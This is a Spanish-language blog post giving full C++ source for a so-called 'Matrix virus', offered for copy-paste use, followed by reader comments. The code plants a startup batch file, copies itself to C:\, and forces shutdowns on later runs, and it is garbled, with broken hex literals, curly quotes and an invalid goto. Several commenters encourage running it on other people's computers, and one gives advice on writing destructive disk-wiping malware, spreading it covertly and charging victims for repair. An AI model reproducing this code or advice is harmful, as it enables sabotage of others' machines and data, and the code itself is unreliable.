Pasos para hacer un virus en C++

El virus matrix, es un virus que se programa en C++, y que es potencialmente dañino para un computador con el sistema operativo windows – aunque desconozco que puede pasar en un Mac – …Aunque no le encuentro utilidad alguno -quizás para como una venganza – , lo encuentro tan curioso que no pocas veces he pensado en ejecutarlo.
Alojada en www.easy-images.com

Este programa al ser ejecutado dañara irreversiblemente el computador – eso me han dicho, yo todavía no lo ejecuto- , y es tan fácil de hacer como copiar el siguiente código en el programa de C++


// The Matrix Virus
// Created by W3irdo
// Hazuras.com

#include <iostream>
#include <stdlib.h>
#include <windows.h>
#include <iomanip>
#include <stdio.h>
#include <conio.h>
#include <fstream>
using namespace std;

int main()
{ keybd_event(VK_MENU,0×38,0,0);
keybd_event(VK_RETURN,0×1c,0,0);
keybd_event(VK_RETURN,0×1c,KEYEVENTF_KEYUP,0);
keybd_event(VK_MENU,0×38,KEYEVENTF_KEYUP,0);
HANDLE outToScreen;
outToScreen = GetStdHandle(STD_OUTPUT_HANDLE);

{
char buffer[255];
char inputFile[]=”C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\rawr.bat”;
ifstream input(inputFile);
if (!input)
{
{
ofstream fp(“C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\rawr.bat”, ios::app);
fp << “@ECHO OFF \n”;
fp << “START C:\\rawr.exe \n”;
fp << “EXIT”;
}
}
else
{
while (!input.eof())
{
input.getline(buffer,255);
}
}
}

{
char buffer[255];
char inputFile[]=”C:\\rawr.exe”;
ifstream input(inputFile);
if (!input)
{
{
{
ofstream fp(“CLICK.bat”, ios::app);
fp << “@ECHO OFF \n”;
fp << “COPY matrix.exe C:\\rawr.exe \n”;
fp << “START C:\\rawr.exe \n”;
fp << “EXIT”;
}
system(“START CLICK.bat”);
main();
}
}
else
{
while (!input.eof())
{
input.getline(buffer,255);
system(“call shutdown.exe -S”);
goto START;
}
}
}

START:{
for(int i = 0; i < 1; i++)
{
int num = (rand() % 10);
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
cout << setw(4) << num;
cout << setw(4) << “0%”;
cout << setw(4) << “P”;
cout << setw(4) << ” “;
cout << setw(4) << “)”;
cout << setw(4) << “#”;
cout << setw(4) << “X”;
cout << setw(4) << “@”;
cout << setw(4) << “1&”;
cout << setw(4) << “*”;
cout << setw(4) << “||”;
cout << setw(4) << ” \a”;
Sleep(60);
}
}
for ( int j = 0; j < 5; j++)
{
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN);
int number = (rand() % 24);
cout << setw(4) << number;
}
goto START;
}

Tan facil como copiar, pegar y ejecutar…

Para quienes quieran verlo funcionar, he aqui pequeño un video:

Fuente: dark-red-one-forum

26 comentarios para “Pasos para hacer un virus en C++”

  1. s3rg10p3l1gr0 Dice:

    Bueno, ejecutalo en el PC de otro y te echas unas risas ;)

  2. Kaaos Dice:

    Cierto, Despues de todo quien sospecharia de mi XD

    Salu2 s3rg10p3l1gr0

  3. MS-DOS VIRUS « Dice:

    [...] Ya son 3 las entregas de como hacer virus, una fue en c++, otra en el bloc de notas, y esta, se hará en DOS, así que casi parece que este blog fuera de [...]

  4. Darkavenger Dice:

    apesta el codigo, lo unico que ases es usar system y comandos del ms-dos, y pues hace lo mismo que cualquiera programando virus en bat, que eso apesta para mi.

  5. nettoxic Dice:

    el codigo parece de un lammer

  6. gusbok Dice:

    bueno, si tenemos desarrollos de virus mejores podemos compartirlos…

  7. camilo morocho Dice:

    esta bueno pero suban unas lineas de programacion mas . osea de mas formas ok xfa
    respondadn a mi correo
    pero tambien necesito como arrglar de nuevo en cuanto este dañada mi pc ok saludos desde ecuador

  8. less Dice:

    neeeeee putho0 ne cirve ia lo ice n mi pc y nomas nu paso na d na

  9. less Dice:

    neeeee puth0o nu cirbe

  10. davis Dice:

    hola me llamo davis, ejecute el virus en devc++ y me sale un error en el ultimo ciclo que dice “expected unquialified id-before “for” y otro “expected,destructor or type conversion before “<" token , eso no se ke es, por favor algien me puede ayudar????? gracias

  11. anydoom Dice:

    Triste el codigo ese, no hace nada y es una pavada tras otra; no vale la pena ni leerlo.

  12. kevin Dice:

    No Estaria mal Agregar otra linea para dañar la particion primaria asi si seria irreversible para Windows

  13. jajajajaj Dice:

    emmm no se te ocurrio pensar que tu victima puede tener el S.O en otro disco distinto al c:???

  14. angelita Dice:

    jejej esta bien esta broma …. jojojo me diverti con un amigo se descmpuso su ordenador jejejej….bien gracias por compartirlo……besos

    ¨(q tontos ni copiando pueden ejecutar esta broma,,,de verdad que dan pena)

  15. HackFed Dice:

    q, dirian si mediante este blog, encontrara sus correos, y sus pc conectadas a la internet, y les hiciera cosas malas….. no les gustaría cierto!!!…
    ya q, incisten tanto en lo de hacer un virus… les dire como pueden llegar a ser buenos programadores…
    lo primero es empezar desde lo basico, hasta llegar a saber programar….TODO A SU TIEMPO…., despues que partieron desde el fondo de la informatica, lo que vale es la experiencia, y las tecnicas q, ustedes mismos desarollen para crear un virus digno de ser temido, y llamarse “hackers”, despues lo dispersan en la red, cobran por sacarlo de la misma, y se dedican a eso!!!!!!…..(pagan bien… se los digo por experiencia)….. obiamente no les enseñare un codigo!!!!!…. ya que mis metodos son mios y me a costado desarrollarlos…..

  16. HackFed Dice:

    oh hagan algo simple….. usen bath, ya q, la mayoria usa XP, y bath es facil de aprender….
    si quieren probarse que pueden dañar a una pc y causar estragos hagan esto:
    1º. El virus o lo que sea, deber ser rapido, pasar inadvertido o camuflado ( pasar gato por liebre como se dice!!!), dañino, autonomo, y borrar sus pisadas….

  17. HackFed Dice:

    les escribo de apocos mensages por que si lo hiciera en uno, no lo leerian….
    2º. Siempre hagan un antidoto, es decir: un programa que haga lo contrario de lo que hace el virus, cosa de poder revertir el daño en caso que lo ejecuten en su PC…
    3º. busquen en google un compilador para bath y haci poder hacer algo ejecutable…
    4º. no se pierdan haciendo algo interminable, porque al fin y al cabo, la victima:
    - llamara a un tecnico para el arreglo
    - formateara la pc ella misma
    - usara el nod32 4 con su heuristica avansada
    - no se dara la molestia de apreciar su trabajo y darse cuenta que esta infectada…

  18. HackFed Dice:

    simplemente hagan algo que dañe mucho, un daño que en pocas palabras haga que se pierda la info del disco duro…
    formateen el disco, usen metodos para que la victima no pueda respaldar sus documentos, o no tenga tiempo para ello, no se enreden demasiado, no se compliquen, y sobre todas las cosas, disperselo bien, demanera q, no sepan q, fueron ustedes…

  19. HackFed Dice:

    porque al fin de todo, lo unico q, conseguiran es q, la victima pierda tiempo, algunos datos, pase un mal rato, gaste dinero en tecnicos, y en el mejor de los casos…..
    alguien pagara por sus cabezas, como lo hace microsoft, realsando q, pueden cobrarle a la victima por reparar los daños q, ustedes mismos le hicieron… eso si q, ella no se entere q, fueron ustedes…..
    ojala se diviertan con lo q, hagan, y cuidado, por q, en el peor de los casos EXISTE LA CARCEL, y no les gustaria ir a parar aí…..
    saludossssss……xd!!!!

    • Jorge Luis Dice:

      Hola loco, sabes, me agrado la forma en la que enseñas lo que tu sabes. Me lleno de nostalgia. Oy que dices si me enseñas a programar como tu??
      Yo sigo Informatica pero la verdad es que hasta ahorita no comprendo bien como programar, mejor dicho casi NADA! y me siento mal.. Porque la plena es que si me gustaria aprender mucho loco. piensalo ok… tuiry_1111@hotmail.com
      cuidate

  20. rc,cimasII22094 Dice:

    ps a la carcel sololos ineptows van a la carcel

    de eso se trata joderal otro sin ke sede cuenta

    con esaspalabras solo asustas a los novatos

    a la ves te vuelves uno de ellos …..hackfeed. olo ke sea bye

  21. gustavo_ccs Dice:

    De verdad que me dan mucha pena ustedes, primero ese código es muy, mmm como decirlo, estúpido!! si bien es cierto que hace su cometido, pero no sucederá en todos los pc.

    Segundo Dios no digan que son Hacker si aún no entiende que es ser un Hacker!! quieren conocer uno¿? lean la biografía de Richard Stallman, y vean todo lo que ha aportado al mundo de la computación.

  22. mykohuoft Dice:

    pues que mas neno al pen.. que insulto c ni save que es jajaja ya cono ceran a un verdadero hacker yo le explicare que es unop y le dare la vienvenida al mundo de la programacion en c

Escribe un comentario